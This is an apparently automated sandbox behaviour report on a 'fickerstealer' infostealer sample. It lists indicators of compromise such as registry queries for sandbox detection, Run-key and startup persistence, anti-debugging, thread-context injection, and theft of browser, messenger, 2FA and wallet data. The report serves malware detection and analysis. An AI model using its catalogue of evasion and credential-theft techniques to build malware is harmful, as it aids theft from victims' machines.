fickerstealer | 2205e931fcca292889c4845eb2b0e961fc7b598c276b6abf71bb5cf6c59c1132

System Information Discovery

Processes:

2JQqbPdiKsiWnxpeNbpUpi6B.exej8AbzZIFKuaJ9HxPdpBwI_ce.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2JQqbPdiKsiWnxpeNbpUpi6B.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	j8AbzZIFKuaJ9HxPdpBwI_ce.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	j8AbzZIFKuaJ9HxPdpBwI_ce.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2JQqbPdiKsiWnxpeNbpUpi6B.exe

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

sonia_5.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation sonia_5.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation	sonia_5.exe

Drops startup file 2 IoCs

Processes:

Acre.exe.comSensitive.exe.com

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\eRntMwARsh.url	Acre.exe.com
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\QkqVJFpwBk.url	Sensitive.exe.com

Loads dropped DLL 16 IoCs

Processes:

setup_install.exesonia_2.exerundll32.exerundll32.exe1tQzQHEdup40DF14dQuIeBQe.exedY7FLWbosvDwmQzvHmeUKYeq.exe4051.exe

pid	process
3424	setup_install.exe
3424	setup_install.exe
3424	setup_install.exe
3424	setup_install.exe
3424	setup_install.exe
3424	setup_install.exe
3424	setup_install.exe
3424	setup_install.exe
3200	sonia_2.exe
3288	rundll32.exe
4780	rundll32.exe
5080	1tQzQHEdup40DF14dQuIeBQe.exe
4360	dY7FLWbosvDwmQzvHmeUKYeq.exe
4360	dY7FLWbosvDwmQzvHmeUKYeq.exe
5172	4051.exe
5172	4051.exe

Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 2 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\Documents\2JQqbPdiKsiWnxpeNbpUpi6B.exe	themida
behavioral12/memory/4512-370-0x0000000000CA0000-0x0000000000CA1000-memory.dmp	themida

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

sonia_6.exe7164.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\haleng = "C:\\Users\\Admin\\AppData\\Local\\Temp\\haleng.exe"	sonia_6.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	7164.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\7164.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\7164.exe"	7164.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

Processes:

CXkkqv8f1evqIc6daCu9kBDs.exe2JQqbPdiKsiWnxpeNbpUpi6B.exej8AbzZIFKuaJ9HxPdpBwI_ce.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	CXkkqv8f1evqIc6daCu9kBDs.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2JQqbPdiKsiWnxpeNbpUpi6B.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	j8AbzZIFKuaJ9HxPdpBwI_ce.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

10 ipinfo.io
11 ipinfo.io
14 ip-api.com
140 api.ipify.org

flow	ioc
10	ipinfo.io
11	ipinfo.io
14	ip-api.com
140	api.ipify.org

Drops file in System32 directory 2 IoCs

Processes:

svchost.exesvchost.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Firefox Default Browser Agent B039E0C27223C9EB	svchost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

2JQqbPdiKsiWnxpeNbpUpi6B.exej8AbzZIFKuaJ9HxPdpBwI_ce.exe

pid process

4864 2JQqbPdiKsiWnxpeNbpUpi6B.exe
4512 j8AbzZIFKuaJ9HxPdpBwI_ce.exe

pid	process
4864	2JQqbPdiKsiWnxpeNbpUpi6B.exe
4512	j8AbzZIFKuaJ9HxPdpBwI_ce.exe

Suspicious use of SetThreadContext 10 IoCs

Processes:

svchost.exeWerFault.exe8ZAwiBwEvFIIEgkT2khm7Fny.exe12wFZGhHx1OAswK069X_ceNe.exe8ZAwiBwEvFIIEgkT2khm7Fny.exer538gC39_0yqpKNkgZ6Wif4D.exe5y8reqtl_Jdwa0x9_Fcadh8S.exe1234.exeSensitive.exe.comAcre.exe.com

description	pid	process	target process
PID 3164 set thread context of 3520	3164	svchost.exe	svchost.exe
PID 4840 set thread context of 5080	4840	WerFault.exe	1tQzQHEdup40DF14dQuIeBQe.exe
PID 3492 set thread context of 1704	3492	8ZAwiBwEvFIIEgkT2khm7Fny.exe	OLKbrowser.exe
PID 4816 set thread context of 4712	4816	12wFZGhHx1OAswK069X_ceNe.exe	12wFZGhHx1OAswK069X_ceNe.exe
PID 2200 set thread context of 3492	2200	8ZAwiBwEvFIIEgkT2khm7Fny.exe	8ZAwiBwEvFIIEgkT2khm7Fny.exe
PID 2464 set thread context of 5220	2464	r538gC39_0yqpKNkgZ6Wif4D.exe	r538gC39_0yqpKNkgZ6Wif4D.exe
PID 4088 set thread context of 5672	4088	5y8reqtl_Jdwa0x9_Fcadh8S.exe	5y8reqtl_Jdwa0x9_Fcadh8S.exe
PID 4448 set thread context of 4204	4448	1234.exe	1234.exe
PID 2660 set thread context of 5784	2660	Sensitive.exe.com	RegAsm.exe
PID 5636 set thread context of 5456	5636	Acre.exe.com	RegAsm.exe

Drops file in Program Files directory 7 IoCs

Processes:

WveFCi94r9JOaSXp07c0BHWc.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\EverestSoftrade\TonerRecover\log.bat	WveFCi94r9JOaSXp07c0BHWc.exe
File opened for modification	C:\Program Files (x86)\EverestSoftrade\TonerRecover\Updater.exe	WveFCi94r9JOaSXp07c0BHWc.exe
File opened for modification	C:\Program Files (x86)\EverestSoftrade\TonerRecover\Uninstall.exe	WveFCi94r9JOaSXp07c0BHWc.exe
File created	C:\Program Files (x86)\EverestSoftrade\TonerRecover\Uninstall.ini	WveFCi94r9JOaSXp07c0BHWc.exe
File opened for modification	C:\Program Files (x86)\EverestSoftrade\TonerRecover\Toner-Recover.exe	WveFCi94r9JOaSXp07c0BHWc.exe
File opened for modification	C:\Program Files (x86)\EverestSoftrade\TonerRecover\adj.reg	WveFCi94r9JOaSXp07c0BHWc.exe
File opened for modification	C:\Program Files (x86)\EverestSoftrade\TonerRecover\adj2.reg	WveFCi94r9JOaSXp07c0BHWc.exe

Drops file in Windows directory 4 IoCs

Processes:

setup 326.exeWerFault.exeMicrosoftEdge.exe

description	ioc	process
File created	C:\Windows\winnetdriv.exe	setup 326.exe
File opened for modification	C:\Windows\winnetdriv.exe	setup 326.exe
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 11 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
4840	4600	WerFault.exe	Chrome Update.exe
4608	4228	WerFault.exe	setup.exe
2844	2260	WerFault.exe	sonia_3.exe
4112	4228	WerFault.exe	setup.exe
4588	4228	WerFault.exe	setup.exe
5232	4228	WerFault.exe	setup.exe
5500	4228	WerFault.exe	setup.exe
5732	4228	WerFault.exe	setup.exe
2184	4228	WerFault.exe	setup.exe
5284	4812	WerFault.exe	3pOTyJJlrZDOGokXzRM1qnhB.exe
3988	5960	WerFault.exe	gwfbtrr

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

sonia_2.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sonia_2.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sonia_2.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sonia_2.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

5y8reqtl_Jdwa0x9_Fcadh8S.exedY7FLWbosvDwmQzvHmeUKYeq.exe4051.exesvchost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	5y8reqtl_Jdwa0x9_Fcadh8S.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	5y8reqtl_Jdwa0x9_Fcadh8S.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	dY7FLWbosvDwmQzvHmeUKYeq.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dY7FLWbosvDwmQzvHmeUKYeq.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	4051.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	4051.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe

Delays execution with timeout.exe 3 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exe

pid process

5280 timeout.exe
5512 timeout.exe
5300 timeout.exe
Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

5228 taskkill.exe
4484 taskkill.exe
4372 taskkill.exe

pid	process
5280	timeout.exe
5512	timeout.exe
5300	timeout.exe

pid	process
5228	taskkill.exe
4484	taskkill.exe
4372	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

Processes:

MicrosoftEdge.exebrowser_broker.exeMicrosoftEdgeCP.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

3pOTyJJlrZDOGokXzRM1qnhB.exesvchost.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2162 = "Altai Standard Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2392 = "Aleutian Standard Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1972 = "Belarus Standard Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2631 = "Norfolk Daylight Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1842 = "Russia TZ 4 Standard Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2042 = "Eastern Standard Time (Mexico)"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2322 = "Sakhalin Standard Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2181 = "Astrakhan Daylight Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2511 = "Lord Howe Daylight Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1872 = "Russia TZ 7 Standard Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	3pOTyJJlrZDOGokXzRM1qnhB.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1501 = "Turkey Daylight Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2492 = "Aus Central W. Standard Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2572 = "Turks and Caicos Standard Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2341 = "Haiti Daylight Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1971 = "Belarus Daylight Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1802 = "Line Islands Standard Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1931 = "Russia TZ 11 Daylight Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1821 = "Russia TZ 1 Daylight Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2372 = "Easter Island Standard Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time"	3pOTyJJlrZDOGokXzRM1qnhB.exe

Modifies registry class 64 IoCs

Processes:

MicrosoftEdge.exesvchost.exeMicrosoftEdgeCP.exesvchost.exeMicrosoftEdgeCP.exerundll32.exerundll32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main\OperationalData = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\OneTimeCleanup = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{IY7880QH-GQ0R-SG6F-75Z5-PGQ2S76C3D6F}\7289246C77593EBF	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\MigrationTime = 301bd569d72dd701	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\LowMic	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main	MicrosoftEdge.exe
